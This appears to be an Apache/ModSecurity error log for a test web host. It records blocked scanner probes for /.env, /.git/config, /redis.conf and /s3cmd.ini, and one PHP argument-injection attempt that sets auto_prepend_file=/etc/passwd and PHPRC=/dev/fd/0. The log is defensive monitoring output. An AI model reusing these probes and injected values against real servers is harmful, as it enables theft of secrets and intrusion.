[Sun Nov 05 15:59:24.565492 2023] [:error] [pid 2945348] [client 13.238.182.129:47614] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUetzK54h8K8yKXmm046MgAAAAI&quot;]
[Sun Nov 05 15:59:24.565672 2023] [:error] [pid 2945348] [client 13.238.182.129:47614] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUetzK54h8K8yKXmm046MgAAAAI&quot;]
[Sun Nov 05 15:59:32.484520 2023] [:error] [pid 2953478] [client 13.238.182.129:57066] [client 13.238.182.129] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis.conf&quot;] [unique_id &quot;ZUet1NtLKgISucRyj21FVAAAAAg&quot;]
[Sun Nov 05 15:59:32.484855 2023] [:error] [pid 2953478] [client 13.238.182.129:57066] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis.conf&quot;] [unique_id &quot;ZUet1NtLKgISucRyj21FVAAAAAg&quot;]
[Sun Nov 05 15:59:32.485035 2023] [:error] [pid 2953478] [client 13.238.182.129:57066] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis.conf&quot;] [unique_id &quot;ZUet1NtLKgISucRyj21FVAAAAAg&quot;]
[Sun Nov 05 15:59:37.488507 2023] [:error] [pid 2953479] [client 13.238.182.129:57072] [client 13.238.182.129] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3cmd.ini&quot;] [unique_id &quot;ZUet2ciyITV8IjJ-hgGdZQAAAAk&quot;]
[Sun Nov 05 15:59:37.488848 2023] [:error] [pid 2953479] [client 13.238.182.129:57072] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3cmd.ini&quot;] [unique_id &quot;ZUet2ciyITV8IjJ-hgGdZQAAAAk&quot;]
[Sun Nov 05 15:59:37.488995 2023] [:error] [pid 2953479] [client 13.238.182.129:57072] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3cmd.ini&quot;] [unique_id &quot;ZUet2ciyITV8IjJ-hgGdZQAAAAk&quot;]
[Sun Nov 05 15:59:40.698373 2023] [:error] [pid 2945348] [client 13.238.182.129:57098] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;etc/passwd&quot; at ARGS:auto_prepend_file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: etc/passwd found within ARGS:auto_prepend_file: \\x22/etc/passwd\\x22&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZUet3K54h8K8yKXmm046MwAAAAI&quot;]
[Sun Nov 05 15:59:40.698501 2023] [:error] [pid 2945348] [client 13.238.182.129:57098] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;dev/fd/&quot; at ARGS:PHPRC. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;509&quot;] [id &quot;932160&quot;] [msg &quot;Remote Command Execution: Unix Shell Code Found&quot;] [data &quot;Matched Data: dev/fd/ found within ARGS:PHPRC: /dev/fd/0&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZUet3K54h8K8yKXmm046MwAAAAI&quot;]
[Sun Nov 05 15:59:40.698547 2023] [:error] [pid 2945348] [client 13.238.182.129:57098] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;etc/passwd&quot; at ARGS:auto_prepend_file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;509&quot;] [id &quot;932160&quot;] [msg &quot;Remote Command Execution: Unix Shell Code Found&quot;] [data &quot;Matched Data: etc/passwd found within ARGS:auto_prepend_file: /etc/passwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZUet3K54h8K8yKXmm046MwAAAAI&quot;]
[Sun Nov 05 15:59:40.699068 2023] [:error] [pid 2945348] [client 13.238.182.129:57098] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZUet3K54h8K8yKXmm046MwAAAAI&quot;]
[Sun Nov 05 15:59:40.699233 2023] [:error] [pid 2945348] [client 13.238.182.129:57098] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZUet3K54h8K8yKXmm046MwAAAAI&quot;]
[Sun Nov 05 23:54:24.869386 2023] [:error] [pid 2953480] [client 34.202.160.67:55320] [client 34.202.160.67] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUgdIOyxlz8CqQghNzVK3AAAAAo&quot;]
[Sun Nov 05 23:54:24.869621 2023] [:error] [pid 2953480] [client 34.202.160.67:55320] [client 34.202.160.67] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUgdIOyxlz8CqQghNzVK3AAAAAo&quot;]
[Sun Nov 05 23:54:24.869791 2023] [:error] [pid 2953480] [client 34.202.160.67:55320] [client 34.202.160.67] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUgdIOyxlz8CqQghNzVK3AAAAAo&quot;]
[Mon Nov 06 00:29:43.114755 2023] [:error] [pid 2963620] [client 34.202.160.67:59862] [client 34.202.160.67] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUglZ4ut8xjTaIUJ718sUAAAAAQ&quot;]
[Mon Nov 06 00:29:43.115008 2023] [:error] [pid 2963620] [client 34.202.160.67:59862] [client 34.202.160.67] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUglZ4ut8xjTaIUJ718sUAAAAAQ&quot;]
[Mon Nov 06 00:29:43.115166 2023] [:error] [pid 2963620] [client 34.202.160.67:59862] [client 34.202.160.67] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUglZ4ut8xjTaIUJ718sUAAAAAQ&quot;]
[Mon Nov 06 01:21:30.324273 2023] [:error] [pid 2963620] [client 34.202.160.67:45260] [client 34.202.160.67] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUgxiout8xjTaIUJ718sVAAAAAQ&quot;]
[Mon Nov 06 01:21:30.324557 2023] [:error] [pid 2963620] [client 34.202.160.67:45260] [client 34.202.160.67] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUgxiout8xjTaIUJ718sVAAAAAQ&quot;]
[Mon Nov 06 01:21:30.324737 2023] [:error] [pid 2963620] [client 34.202.160.67:45260] [client 34.202.160.67] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUgxiout8xjTaIUJ718sVAAAAAQ&quot;]
[Sat Nov 11 16:01:28.379776 2023] [:error] [pid 3078223] [client 104.234.204.63:40650] [client 104.234.204.63] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZU-XSK1CWz7zrnb_xLsyCAAAAAE&quot;]
[Sat Nov 11 16:01:28.387278 2023] [:error] [pid 3078223] [client 104.234.204.63:40650] [client 104.234.204.63] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZU-XSK1CWz7zrnb_xLsyCAAAAAE&quot;]
[Sat Nov 11 16:01:28.387495 2023] [:error] [pid 3078223] [client 104.234.204.63:40650] [client 104.234.204.63] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZU-XSK1CWz7zrnb_xLsyCAAAAAE&quot;]
[Sun Nov 12 18:09:20.013080 2023] [:error] [pid 3099713] [client 104.234.204.63:32842] [client 104.234.204.63] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZVEGwJWUvWTnWcsrZEG2VgAAAAE&quot;]
[Sun Nov 12 18:09:20.013346 2023] [:error] [pid 3099713] [client 104.234.204.63:32842] [client 104.234.204.63] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZVEGwJWUvWTnWcsrZEG2VgAAAAE&quot;]
[Sun Nov 12 18:09:20.013502 2023] [:error] [pid 3099713] [client 104.234.204.63:32842] [client 104.234.204.63] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZVEGwJWUvWTnWcsrZEG2VgAAAAE&quot;]
[Thu Nov 16 12:57:43.041395 2023] [proxy:error] [pid 3186839] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Nov 16 12:57:43.041430 2023] [proxy_http:error] [pid 3186839] [client 87.0.254.138:51587] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Thu Nov 16 12:57:43.041519 2023] [proxy:error] [pid 3195854] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Nov 16 12:57:43.041546 2023] [proxy_http:error] [pid 3195854] [client 87.0.254.138:51589] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Thu Nov 16 12:57:49.861081 2023] [proxy:error] [pid 3186842] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Nov 16 12:57:49.861114 2023] [proxy_http:error] [pid 3186842] [client 87.0.254.138:51592] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Thu Nov 16 12:58:02.775771 2023] [proxy:error] [pid 3186839] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Nov 16 12:58:02.775799 2023] [proxy_http:error] [pid 3186839] [client 87.0.254.138:51618] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Thu Nov 16 12:58:02.791707 2023] [proxy:error] [pid 3195854] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Nov 16 12:58:02.791735 2023] [proxy_http:error] [pid 3195854] [client 87.0.254.138:51617] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Mon Dec 11 07:55:21.324198 2023] [:error] [pid 3770809] [client 110.138.86.253:54448] [client 110.138.86.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZXayWSwuo5QhwyOpNBQpaQAAAAQ&quot;]
[Mon Dec 11 07:55:21.331543 2023] [:error] [pid 3770809] [client 110.138.86.253:54448] [client 110.138.86.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZXayWSwuo5QhwyOpNBQpaQAAAAQ&quot;]
